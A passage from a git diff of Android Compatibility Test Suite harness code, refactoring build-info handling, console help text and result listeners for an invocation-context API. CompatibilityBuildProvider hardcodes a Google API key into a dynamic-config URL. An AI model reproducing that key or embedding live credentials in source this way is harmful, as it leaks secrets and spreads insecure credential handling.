-                    String.format("Root directory doesn't exist %s", rootDir.getAbsolutePath()));
-        }
-        mBuildInfo.addBuildAttribute(ROOT_DIR, rootDir.getAbsolutePath());
-        if (dynamicConfigUrl != null && !dynamicConfigUrl.isEmpty()) {
-            mBuildInfo.addBuildAttribute(DYNAMIC_CONFIG_OVERRIDE_URL,
-                    dynamicConfigUrl.replace("{suite-name}", getSuiteName()));
-        }
-    }
-
     public IBuildInfo getBuildInfo() {
         return mBuildInfo;
     }
@@ -155,7 +104,8 @@
     }
 
     public void addDynamicConfigFile(String moduleName, File configFile) {
-        mBuildInfo.addBuildAttribute(CONFIG_PATH_PREFIX + moduleName, configFile.getAbsolutePath());
+        mBuildInfo.addBuildAttribute(DynamicConfigHostSide.CONFIG_PATH_PREFIX + moduleName,
+                configFile.getAbsolutePath());
     }
 
     public void setModuleIds(String[] moduleIds) {
@@ -165,8 +115,8 @@
     public Map<String, File> getDynamicConfigFiles() {
         Map<String, File> configMap = new HashMap<>();
         for (String key : mBuildInfo.getBuildAttributes().keySet()) {
-            if (key.startsWith(CONFIG_PATH_PREFIX)) {
-                configMap.put(key.substring(CONFIG_PATH_PREFIX.length()),
+            if (key.startsWith(DynamicConfigHostSide.CONFIG_PATH_PREFIX)) {
+                configMap.put(key.substring(DynamicConfigHostSide.CONFIG_PATH_PREFIX.length()),
                         new File(mBuildInfo.getBuildAttributes().get(key)));
             }
         }
@@ -263,6 +213,19 @@
     }
 
     /**
+     * @return a {@link File} representing the test file in the test modules directory.
+     * @throws FileNotFoundException if the test file cannot be found
+     */
+    public File getTestFile(String filename) throws FileNotFoundException {
+        File testFile = new File(getTestsDir(), filename);
+        if (!testFile.exists()) {
+            throw new FileNotFoundException(String.format(
+                    "Compatibility test file %s does not exist", filename));
+        }
+        return testFile;
+    }
+
+    /**
      * @return a {@link File} in the resultDir for logging invocation failures
      */
     public File getInvocationFailureFile() throws FileNotFoundException {
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
index ee6d7db..722d55a 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/build/CompatibilityBuildProvider.java
@@ -15,18 +15,26 @@
  */
 package com.android.compatibility.common.tradefed.build;
 
+import com.android.annotations.VisibleForTesting;
 import com.android.compatibility.SuiteInfo;
 import com.android.tradefed.build.BuildInfo;
 import com.android.tradefed.build.BuildRetrievalError;
 import com.android.tradefed.build.DeviceBuildInfo;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.build.IBuildProvider;
+import com.android.tradefed.build.IDeviceBuildInfo;
 import com.android.tradefed.build.IDeviceBuildProvider;
 import com.android.tradefed.config.Option;
+import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.device.DeviceNotAvailableException;
 import com.android.tradefed.device.ITestDevice;
 
+import java.io.File;
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.HashMap;
+import java.util.Map;
 import java.util.regex.Pattern;
 /**
  * A simple {@link IBuildProvider} that uses a pre-existing Compatibility install.
@@ -35,31 +43,83 @@
 public class CompatibilityBuildProvider implements IDeviceBuildProvider {
 
     private static final Pattern RELEASE_BUILD = Pattern.compile("^[A-Z]{3}\\d{2}[A-Z]{0,1}$");
+    private static final String ROOT_DIR = "ROOT_DIR";
+    private static final String SUITE_BUILD = "SUITE_BUILD";
+    private static final String SUITE_NAME = "SUITE_NAME";
+    private static final String SUITE_FULL_NAME = "SUITE_FULL_NAME";
+    private static final String SUITE_VERSION = "SUITE_VERSION";
+    private static final String SUITE_PLAN = "SUITE_PLAN";
+    private static final String RESULT_DIR = "RESULT_DIR";
+    private static final String START_TIME_MS = "START_TIME_MS";
+    private static final String DYNAMIC_CONFIG_OVERRIDE_URL = "DYNAMIC_CONFIG_OVERRIDE_URL";
+
+    /* API Key for compatibility test project, used for dynamic configuration */
+    private static final String API_KEY = "AIzaSyAbwX5JRlmsLeygY2WWihpIJPXFLueOQ3U";
 
     @Option(name="branch", description="build branch name to supply.")
     private String mBranch = null;
 
+    @Option(name = "build-id",
+            description =
+                    "build version number to supply. Override the default cts version number.")
+    private String mBuildId = null;
+
+    @Option(name="build-flavor", description="build flavor name to supply.")
+    private String mBuildFlavor = null;
+
+    @Option(name="build-attribute", description="build attributes to supply.")
+    private Map<String, String> mBuildAttributes = new HashMap<String,String>();
+
     @Option(name="use-device-build-info", description="Bootstrap build info from device")
     private boolean mUseDeviceBuildInfo = false;
 
     @Option(name="test-tag", description="test tag name to supply.")
     private String mTestTag = "cts";
 
+    @Option(name = "dynamic-config-url",
+            description = "Specify the url for override config")
+    private String mURL = "https://androidpartner.googleapis.com/v1/dynamicconfig/"
+            + "suites/{suite-name}/modules/{module}/version/{version}?key=" + API_KEY;
+
+    @Option(name = "plan",
+            description = "the test suite plan to run, such as \"everything\" or \"cts\"",
+            importance = Importance.ALWAYS)
+    private String mSuitePlan;
+
+    /**
+     * Util method to inject build attributes into supplied {@link IBuildInfo}
+     * @param buildInfo
+     */
+    private void injectBuildAttributes(IBuildInfo buildInfo) {
+        for (Map.Entry<String, String> entry : mBuildAttributes.entrySet()) {
+            buildInfo.addBuildAttribute(entry.getKey(), entry.getValue());
+        }
+    }
+
     /**
      * {@inheritDoc}
      */
     @Override
     public IBuildInfo getBuild() {
         // Create a blank BuildInfo which will get populated later.
-        String version = SuiteInfo.BUILD_NUMBER;
-        if (version == null) {
-            version = IBuildInfo.UNKNOWN_BUILD_ID;
+        String version = null;
+        if (mBuildId != null) {
+            version = mBuildId;
+        } else {
+            version = getSuiteInfoBuildNumber();
+            if (version == null) {
+                version = IBuildInfo.UNKNOWN_BUILD_ID;
+            }
         }
-        IBuildInfo ctsBuild = new BuildInfo(version, mTestTag, mTestTag);
+        IBuildInfo ctsBuild = new BuildInfo(version, mTestTag);
         if (mBranch  != null) {
             ctsBuild.setBuildBranch(mBranch);
         }
-
+        if (mBuildFlavor != null) {
+            ctsBuild.setBuildFlavor(mBuildFlavor);
+        }
+        injectBuildAttributes(ctsBuild);
+        addCompatibilitySuiteInfo(ctsBuild);
         return ctsBuild;
     }
 
@@ -76,7 +136,7 @@
         } else {
             String buildId = device.getBuildId();
             String buildFlavor = device.getBuildFlavor();
-            IBuildInfo info = new DeviceBuildInfo(buildId, mTestTag, buildFlavor);
+            IBuildInfo info = new DeviceBuildInfo(buildId, mTestTag);
             if (mBranch == null) {
                 // if branch is not specified via param, make a pseudo branch name based on platform
                 // version and product info from device
@@ -92,6 +152,8 @@
             if (RELEASE_BUILD.matcher(buildAlias).matches()) {
                 info.addBuildAttribute("build_alias", buildAlias);
             }
+            injectBuildAttributes(info);
+            addCompatibilitySuiteInfo(info);
             return info;
         }
     }
@@ -111,4 +173,79 @@
     public void cleanUp(IBuildInfo info) {
         // ignore
     }
+
+    private void addCompatibilitySuiteInfo(IBuildInfo info) {
+        long startTimeMs = System.currentTimeMillis();
+        info.addBuildAttribute(SUITE_BUILD, getSuiteInfoBuildNumber());
+        info.addBuildAttribute(SUITE_NAME, getSuiteInfoName());
+        info.addBuildAttribute(SUITE_FULL_NAME, getSuiteInfoFullname());
+        info.addBuildAttribute(SUITE_VERSION, getSuiteInfoVersion());
+        info.addBuildAttribute(SUITE_PLAN, mSuitePlan);
+        info.addBuildAttribute(START_TIME_MS, Long.toString(startTimeMs));
+        info.addBuildAttribute(RESULT_DIR, getDirSuffix(startTimeMs));
+        String rootDirPath = getRootDirPath();
+        if (rootDirPath == null || rootDirPath.trim().equals("")) {
+            throw new IllegalArgumentException(
+                    String.format("Missing install path property %s_ROOT", getSuiteInfoName()));
+        }
+        File rootDir = new File(rootDirPath);
+        if (!rootDir.exists()) {
+            throw new IllegalArgumentException(
+                    String.format("Root directory doesn't exist %s", rootDir.getAbsolutePath()));
+        }
+        info.addBuildAttribute(ROOT_DIR, rootDir.getAbsolutePath());
+        // For DeviceBuildInfo we populate the testsDir folder of the build info.
+        if (info instanceof IDeviceBuildInfo) {
+            File testDir =  new File(rootDir, String.format("android-%s/testcases/",
+                    getSuiteInfoName().toLowerCase()));
+            ((IDeviceBuildInfo) info).setTestsDir(testDir, "0");
+        }
+        if (mURL != null && !mURL.isEmpty()) {
+            info.addBuildAttribute(DYNAMIC_CONFIG_OVERRIDE_URL,
+                    mURL.replace("{suite-name}", getSuiteInfoName()));
+        }
+    }
+
+    /**
+     * Returns the CTS_ROOT variable that the harness was started with.
+     */
+    @VisibleForTesting
+    String getRootDirPath() {
+        return System.getProperty(String.format("%s_ROOT", getSuiteInfoName()));
+    }
+
+    /**
+     * Return the SuiteInfo name generated at build time. Exposed for testing.
+     */
+    protected String getSuiteInfoName() {
+        return SuiteInfo.NAME;
+    }
+
+    /**
+     * Return the SuiteInfo build number generated at build time. Exposed for testing.
+     */
+    protected String getSuiteInfoBuildNumber() {
+        return SuiteInfo.BUILD_NUMBER;
+    }
+
+    /**
+     * Return the SuiteInfo fullname generated at build time. Exposed for testing.
+     */
+    protected String getSuiteInfoFullname() {
+        return SuiteInfo.FULLNAME;
+    }
+
+    /**
+     * Return the SuiteInfo version generated at build time. Exposed for testing.
+     */
+    protected String getSuiteInfoVersion() {
+        return SuiteInfo.VERSION;
+    }
+
+    /**
+     * @return a {@link String} to use for directory suffixes created from the given time.
+     */
+    private String getDirSuffix(long millis) {
+        return new SimpleDateFormat("yyyy.MM.dd_HH.mm.ss").format(new Date(millis));
+    }
 }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
index 2f255c6..307d648 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/command/CompatibilityConsole.java
@@ -65,6 +65,7 @@
     static {
         MODULE_SPLIT_EXCLUSIONS.add("CtsDeqpTestCases");
     }
+    private final static String ADD_PATTERN = "a(?:dd)?";
     private CompatibilityBuildHelper mBuildHelper;
 
     /**
@@ -74,6 +75,7 @@
     public void run() {
         printLine(String.format("Android %s %s (%s)", SuiteInfo.FULLNAME, SuiteInfo.VERSION,
                 SuiteInfo.BUILD_NUMBER));
+        printLine("Use \"help\" or \"help all\" to get more information on running commands.");
         super.run();
     }
 
@@ -83,6 +85,13 @@
     @Override
     protected void setCustomCommands(RegexTrie<Runnable> trie, List<String> genericHelp,
             Map<String, String> commandHelp) {
+
+        genericHelp.add("Enter 'help add'        for help with 'add subplan' commands");
+        genericHelp.add("\t----- " + SuiteInfo.FULLNAME + " usage ----- ");
+        genericHelp.add("Usage: run <plan> [--module <module name>] [ options ]");
+        genericHelp.add("Example: run cts --module CtsGestureTestCases --bugreport-on-failure");
+        genericHelp.add("");
+
         trie.put(new Runnable() {
             @Override
             public void run() {
@@ -130,7 +139,13 @@
                 }
                 addSubPlan(flatArgs);
             }
-        }, "a(?:dd)?", "s(?:ubplan)?", null);
+        }, ADD_PATTERN, "s(?:ubplan)?", null);
+        trie.put(new ArgRunnable<CaptureList>() {
+            @Override
+            public void run(CaptureList args) {
+                printLine("'add subplan' requires parameters, use 'help add' to get more details");
+            }
+        }, ADD_PATTERN, "s(?:ubplan)?");
         trie.put(new Runnable() {
             @Override
             public void run() {
@@ -146,10 +161,48 @@
             listHelp = new String();
         }
         String combinedHelp = listHelp +
-                "\tp[lans]\tList all plans" + LINE_SEPARATOR +
-                "\tm[odules]\tList all modules" + LINE_SEPARATOR +
-                "\tr[esults]\tList all results" + LINE_SEPARATOR;
+                LINE_SEPARATOR +
+                "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+                "\tp[lans]               List all plans available" + LINE_SEPARATOR +
+                "\tm[odules]             List all modules available" + LINE_SEPARATOR +
+                "\tr[esults]             List all results" + LINE_SEPARATOR;
         commandHelp.put(LIST_PATTERN, combinedHelp);
+
+        // Update existing RUN_PATTERN with CTS specific extra run possibilities.
+        String runHelp = commandHelp.get(RUN_PATTERN);
+        if (runHelp == null) {
+            runHelp = new String();
+        }
+        String combinedRunHelp = runHelp +
+                LINE_SEPARATOR +
+                "\t----- " + SuiteInfo.FULLNAME + " specific options ----- " + LINE_SEPARATOR +
+                "\t<plan> --module/-m <module>       Run a test module" + LINE_SEPARATOR +
+                "\t<plan> --module/-m <module> --test/-t <test_name>    Run a specific test from" +
+                " the module. Test name can be <package>.<class>, <package>.<class>#<method> or "
+                + "<native_binary_name>" + LINE_SEPARATOR +
+                "\t\tAvailable Options:" + LINE_SEPARATOR +
+                "\t\t\t--serial/-s <device_id>: The device to run the test on" + LINE_SEPARATOR +
+                "\t\t\t--abi/-a <abi>         : The ABI to run the test against" + LINE_SEPARATOR +
+                "\t\t\t--logcat-on-failure    : Capture logcat when a test fails"
+                + LINE_SEPARATOR +
+                "\t\t\t--bugreport-on-failure : Capture a bugreport when a test fails"
+                + LINE_SEPARATOR +
+                "\t\t\t--screenshot-on-failure: Capture a screenshot when a test fails"
+                + LINE_SEPARATOR +
+                "\t\t\t--shard-count <shards>: Shards a run into the given number of independent " +
+                "chunks, to run on multiple devices in parallel." + LINE_SEPARATOR;
+        commandHelp.put(RUN_PATTERN, combinedRunHelp);
+
+        commandHelp.put(ADD_PATTERN, String.format(
+                "%s help:" + LINE_SEPARATOR +
+                "\tadd s[ubplan]: create a subplan from a previous session" + LINE_SEPARATOR +
+                "\t\tAvailable Options:" + LINE_SEPARATOR +
+                "\t\t\t--session <session_id>: The session used to create a subplan"
+                + LINE_SEPARATOR +
+                "\t\t\t--name/-n <subplan_name>: The name of the new subplan" + LINE_SEPARATOR +
+                "\t\t\t--result-type <status>: Which results to include in the subplan. "
+                + "One of passed, failed, not_executed. Repeatable" + LINE_SEPARATOR,
+                ADD_PATTERN));
     }
 
     /**
@@ -160,67 +213,6 @@
         return String.format("%s-tf > ", SuiteInfo.NAME.toLowerCase());
     }
 
-    /**
-     * {@inheritDoc}
-     */
-    @Override
-    protected String getGenericHelpString(List<String> genericHelp) {
-        StringBuilder helpBuilder = new StringBuilder();
-        helpBuilder.append(SuiteInfo.FULLNAME);
-        helpBuilder.append("\n\n");
-        helpBuilder.append(SuiteInfo.NAME);
-        helpBuilder.append(" is the test harness for running the Android Compatibility Suite, ");
-        helpBuilder.append("built on top of Trade Federation.\n\n");
-        helpBuilder.append("Available commands and options\n");
-        helpBuilder.append("Host:\n");
-        helpBuilder.append("  help: show this message.\n");
-        helpBuilder.append("  help all: show the complete tradefed help.\n");
-        helpBuilder.append("  version: show the version.\n");
-        helpBuilder.append("  exit: gracefully exit the compatibiltiy console, waiting until all ");
-        helpBuilder.append("invocations have completed.\n");
-        helpBuilder.append("Run:\n");
-        final String runPrompt = "  run <plan> ";
-        helpBuilder.append(runPrompt);
-        helpBuilder.append("--module/-m <module>: run a test module.\n");
-        helpBuilder.append(runPrompt);
-        helpBuilder.append("--module/-m <module> --test/-t <test_name>: run a specific test from");
-        helpBuilder.append(" the module. Test name can be <package>.<class>, ");
-        helpBuilder.append("<package>.<class>#<method> or <native_name>.\n");
-        helpBuilder.append(runPrompt);
-        helpBuilder.append("--retry <session_id>: run all failed tests from a previous session.\n");
-        helpBuilder.append(runPrompt);
-        helpBuilder.append("--help/--help-all: get help for ");
-        helpBuilder.append(SuiteInfo.FULLNAME);
-        helpBuilder.append(".\n");
-        helpBuilder.append("Options:\n");
-        helpBuilder.append("  --serial/-s <device_id>: The device to run the test on.\n");
-        helpBuilder.append("  --abi/-a <abi>: The ABI to run the test against.\n");
-        helpBuilder.append("  --shards <shards>: Shards a run into the given number of independent");
-        helpBuilder.append(" chunks, to run on multiple devices in parallel.\n");
-        helpBuilder.append("  --logcat-on-failure: Capture logcat when a test fails.\n");
-        helpBuilder.append("  --bugreport-on-failure: Capture a bugreport when a test fails.\n");
-        helpBuilder.append("  --screenshot-on-failure: Capture a screenshot when a test fails.\n");
-        helpBuilder.append("List:\n");
-        helpBuilder.append("  l/list d/devices: list connected devices and their state\n");
-        helpBuilder.append("  l/list m/modules: list test modules\n");
-        helpBuilder.append("  l/list i/invocations: list invocations aka test runs currently in ");
-        helpBuilder.append("progress\n");
-        helpBuilder.append("  l/list c/commands: list commands aka test run commands currently");
-        helpBuilder.append(" in the queue waiting to be allocated devices\n");
-        helpBuilder.append("  l/list r/results: list results currently in the repository\n");
-        helpBuilder.append("Dump:\n");
-        helpBuilder.append("  d/dump l/logs: dump the tradefed logs for all running invocations\n");
-        helpBuilder.append("Add:\n");
-        helpBuilder.append("  a/add s/subplan: create a subplan from a previous session\n");
-        helpBuilder.append("Options:\n");
-        helpBuilder.append("  --session <session_id>: The session used to create a subplan.\n");
-        helpBuilder.append("  --name/-n <subplan_name>: The name of the new subplan.\n");
-        helpBuilder.append("  --result-type <status>: Which results to include in the");
-        helpBuilder.append(" subplan. One of passed, failed, not_executed. Repeatable.\n");
-
-        return helpBuilder.toString();
-    }
-
     private void listModules() {
         File[] files = null;
         try {
@@ -426,8 +418,6 @@
         if (mBuildHelper == null) {
             CompatibilityBuildProvider buildProvider = new CompatibilityBuildProvider();
             mBuildHelper = new CompatibilityBuildHelper(buildProvider.getBuild());
-            mBuildHelper.init(
-                "" /* suite plan */, "" /* dynamic config url */, -1 /*startTimeMs*/);
         }
         return mBuildHelper;
     }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ConsoleReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ConsoleReporter.java
index b9c0262..4944da2 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ConsoleReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ConsoleReporter.java
@@ -16,16 +16,14 @@
 
 package com.android.compatibility.common.tradefed.result;
 
-import com.android.ddmlib.Log;
 import com.android.ddmlib.Log.LogLevel;
 import com.android.ddmlib.testrunner.TestIdentifier;
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
-import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.config.OptionCopier;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.IShardableListener;
-import com.android.tradefed.result.StubTestInvocationListener;
 import com.android.tradefed.util.TimeUtil;
 
 import java.util.Map;
@@ -33,7 +31,7 @@
 /**
  * Write test progress to the test console.
  */
-public class ConsoleReporter extends StubTestInvocationListener implements IShardableListener {
+public class ConsoleReporter implements IShardableListener {
 
     private static final String UNKNOWN_DEVICE = "unknown_device";
 
@@ -53,13 +51,15 @@
      * {@inheritDoc}
      */
     @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
-        if (buildInfo == null) {
-            CLog.w("buildInfo should not be null");
+    public void invocationStarted(IInvocationContext context) {
+        if (context == null) {
+            CLog.w("InvocationContext should not be null");
             return;
         }
+        IBuildInfo primaryBuild = context.getBuildInfos().get(0);
+
         // Escape any "%" signs in the device serial.
-        mDeviceSerial = buildInfo.getDeviceSerial().replace("%", "%%");
+        mDeviceSerial = primaryBuild.getDeviceSerial().replace("%", "%%");
     }
 
     /**
@@ -113,7 +113,7 @@
      */
     @Override
     public void testAssumptionFailure(TestIdentifier test, String trace) {
-        logProgress("%s failed assumption: %s", test, trace);
+        logProgress("%s skip", test);
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/InvocationFailureHandler.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/InvocationFailureHandler.java
index e588fbb..dffe3ba 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/InvocationFailureHandler.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/InvocationFailureHandler.java
@@ -42,7 +42,7 @@
             return (f.exists() && f.length() != 0);
         } catch (FileNotFoundException e) {
             CLog.e("Could not find invocation failure file for session %s",
-                buildHelper.getDirSuffix(buildHelper.getStartTime()));
+                CompatibilityBuildHelper.getDirSuffix(buildHelper.getStartTime()));
             CLog.e(e);
             return false;
         }
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/MetadataReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/MetadataReporter.java
index 5f94a88..6894c2d 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/MetadataReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/MetadataReporter.java
@@ -22,9 +22,9 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.config.Option;
 import com.android.tradefed.config.OptionCopier;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.IShardableListener;
-import com.android.tradefed.result.StubTestInvocationListener;
 
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -38,7 +38,7 @@
 /**
  * Write test metadata to the result/metadata folder.
  */
-public class MetadataReporter extends StubTestInvocationListener implements IShardableListener {
+public class MetadataReporter implements IShardableListener {
 
     @Option(name = "include-failure-time", description = "Include timing about tests that failed.")
     private boolean mIncludeFailures = false;
@@ -69,10 +69,8 @@
      * {@inheritDoc}
      */
     @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
-        if (buildInfo == null) {
-            throw new RuntimeException("buildInfo is null");
-        }
+    public void invocationStarted(IInvocationContext context) {
+        IBuildInfo buildInfo = context.getBuildInfos().get(0);
         synchronized(this) {
             if (mBuildHelper == null) {
                 mBuildHelper = new CompatibilityBuildHelper(buildInfo);
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ModuleListener.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ModuleListener.java
index f3ae7a3..8140887 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ModuleListener.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ModuleListener.java
@@ -17,7 +17,7 @@
 
 import com.android.compatibility.common.tradefed.testtype.IModuleDef;
 import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ITestInvocationListener;
 import com.android.tradefed.result.InputStreamSource;
@@ -49,9 +49,9 @@
      * {@inheritDoc}
      */
     @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
-        CLog.d("ModuleListener.invocationStarted(%s)", buildInfo.toString());
-        mListener.invocationStarted(buildInfo);
+    public void invocationStarted(IInvocationContext context) {
+        CLog.d("ModuleListener.invocationStarted(%s)", context.getBuildInfos());
+        mListener.invocationStarted(context);
     }
 
     /**
diff --git a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
index 32d3cda..2438bb0 100644
--- a/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
+++ b/common/host-side/tradefed/src/com/android/compatibility/common/tradefed/result/ResultReporter.java
@@ -16,8 +16,6 @@
 package com.android.compatibility.common.tradefed.result;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.compatibility.common.tradefed.result.InvocationFailureHandler;
-import com.android.compatibility.common.tradefed.result.TestRunHandler;
 import com.android.compatibility.common.tradefed.testtype.CompatibilityTest;
 import com.android.compatibility.common.tradefed.util.RetryType;
 import com.android.compatibility.common.util.ChecksumReporter;
@@ -38,6 +36,7 @@
 import com.android.tradefed.config.Option.Importance;
 import com.android.tradefed.config.OptionClass;
 import com.android.tradefed.config.OptionCopier;
+import com.android.tradefed.invoker.IInvocationContext;
 import com.android.tradefed.log.LogUtil.CLog;
 import com.android.tradefed.result.ILogSaver;
 import com.android.tradefed.result.ILogSaverListener;
@@ -54,6 +53,8 @@
 import com.android.tradefed.util.TimeUtil;
 import com.android.tradefed.util.ZipUtil;
 
+import com.google.common.annotations.VisibleForTesting;
+
 import org.xmlpull.v1.XmlPullParserException;
 
 import java.io.File;
@@ -67,6 +68,8 @@
 import java.util.List;
 import java.util.Map;
 import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Collect test results for an entire invocation and output test results to disk.
@@ -110,6 +113,9 @@
     @Option(name = "use-log-saver", description = "Also saves generated result with log saver")
     private boolean mUseLogSaver = false;
 
+    @Option(name = "compress-logs", description = "Whether logs will be saved with compression")
+    private boolean mCompressLogs = true;
+
     private CompatibilityBuildHelper mBuildHelper;
     private File mResultDir = null;
     private File mLogDir = null;
@@ -117,6 +123,7 @@
     private String mReferenceUrl;
     private ILogSaver mLogSaver;
     private int invocationEndedCount = 0;
+    private CountDownLatch mFinalized = null;
 
     private IInvocationResult mResult = new InvocationResult();
     private IModuleResult mCurrentModuleResult;
@@ -144,11 +151,14 @@
     // to the master.
     private final ResultReporter mMasterResultReporter;
 
+    private LogFileSaver mTestLogSaver;
+
     /**
      * Default constructor.
      */
     public ResultReporter() {
         this(null);
+        mFinalized = new CountDownLatch(1);
     }
 
     /**
@@ -163,34 +173,35 @@
      * {@inheritDoc}
      */
     @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
+    public void invocationStarted(IInvocationContext context) {
+        IBuildInfo primaryBuild = context.getBuildInfos().get(0);
         synchronized(this) {
             if (mBuildHelper == null) {
-                mBuildHelper = new CompatibilityBuildHelper(buildInfo);
+                mBuildHelper = new CompatibilityBuildHelper(primaryBuild);
             }
-            if (mDeviceSerial == null && buildInfo.getDeviceSerial() != null) {
-                mDeviceSerial = buildInfo.getDeviceSerial();
+            if (mDeviceSerial == null && primaryBuild.getDeviceSerial() != null) {
+                mDeviceSerial = primaryBuild.getDeviceSerial();
             }
             mCanMarkDone = canMarkDone(mBuildHelper.getRecentCommandLineArgs());
         }
 
         if (isShardResultReporter()) {
             // Shard ResultReporters forward invocationStarted to the mMasterResultReporter
-            mMasterResultReporter.invocationStarted(buildInfo);
+            mMasterResultReporter.invocationStarted(context);
             return;
         }
 
         // NOTE: Everything after this line only applies to the master ResultReporter.
 
         synchronized(this) {
-            if (buildInfo.getDeviceSerial() != null) {
+            if (primaryBuild.getDeviceSerial() != null) {
                 // The master ResultReporter collects all device serials being used
                 // for the current implementation.
-                mMasterDeviceSerials.add(buildInfo.getDeviceSerial());
+                mMasterDeviceSerials.add(primaryBuild.getDeviceSerial());
             }
 
             // The master ResultReporter collects all buildInfos.
-            mMasterBuildInfos.add(buildInfo);
+            mMasterBuildInfos.add(primaryBuild);
 
             if (mResultDir == null) {
                 // For the non-sharding case, invocationStarted is only called once,
@@ -206,7 +217,7 @@
      * Create directory structure where results and logs will be written.
      */
     private void initializeResultDirectories() {
-        info("Initializing result directory");
+        debug("Initializing result directory");
 
         try {
             // Initialize the result directory. Either a new directory or reusing
@@ -232,22 +243,25 @@
                     mResultDir.getAbsolutePath());
         }
 
-        info("Results Directory: " + mResultDir.getAbsolutePath());
+        debug("Results Directory: " + mResultDir.getAbsolutePath());
 
         mUploader = new ResultUploader(mResultServer, mBuildHelper.getSuiteName());
         try {
             mLogDir = new File(mBuildHelper.getLogsDir(),
                     CompatibilityBuildHelper.getDirSuffix(mBuildHelper.getStartTime()));
         } catch (FileNotFoundException e) {
-            e.printStackTrace();
+            CLog.e(e);
         }
         if (mLogDir != null && mLogDir.mkdirs()) {
-            info("Created log dir %s", mLogDir.getAbsolutePath());
+            debug("Created log dir %s", mLogDir.getAbsolutePath());
         }
         if (mLogDir == null || !mLogDir.exists()) {
             throw new IllegalArgumentException(String.format("Could not create log dir %s",
                     mLogDir.getAbsolutePath()));
         }
+        if (mTestLogSaver == null) {
+            mTestLogSaver = new LogFileSaver(mLogDir);
+        }
     }
 
     /**
@@ -329,8 +343,7 @@
      */
     @Override
     public void testIgnored(TestIdentifier test) {
-        // Ignored tests are not reported.
-        mCurrentTestNum--;
+        mCurrentResult.skipped();
     }
 
     /**
@@ -440,6 +453,7 @@
                 return;
             }
             finalizeResults(elapsedTime);
+            mFinalized.countDown();
         }
     }
 
@@ -474,12 +488,6 @@
         String moduleProgress = String.format("%d of %d",
                 mResult.getModuleCompleteCount(), mResult.getModules().size());
 
-        info("Invocation finished in %s. PASSED: %d, FAILED: %d, MODULES: %s",
-                TimeUtil.formatElapsedTime(elapsedTime),
-                mResult.countResults(TestStatus.PASS),
-                mResult.countResults(TestStatus.FAIL),
-                moduleProgress);
-
         long startTime = mResult.getStartTime();
         try {
             // Zip the full test results directory.
@@ -496,7 +504,6 @@
                         mBuildHelper.getResultsDir(), mRetrySessionId), mResultDir);
             }
             File zippedResults = zipResults(mResultDir);
-
             // Create failure report after zip file so extra data is not uploaded
             File failureReport = ResultHandler.createFailureReport(resultFile);
             if (failureReport.exists()) {
@@ -504,7 +511,8 @@
             } else {
                 info("Test Result: %s", resultFile.getCanonicalPath());
             }
-            info("Full Result: %s", zippedResults.getCanonicalPath());
+            info("Test Logs: %s", mLogDir.getCanonicalPath());
+            debug("Full Result: %s", zippedResults.getCanonicalPath());
 
             saveLog(resultFile, zippedResults);
 
@@ -514,6 +522,12 @@
             CLog.e("[%s] Exception while saving result XML.", mDeviceSerial);
             CLog.e(e);
         }
+        // print the run results last.
+        info("Invocation finished in %s. PASSED: %d, FAILED: %d, MODULES: %s",
+                TimeUtil.formatElapsedTime(elapsedTime),
+                mResult.countResults(TestStatus.PASS),
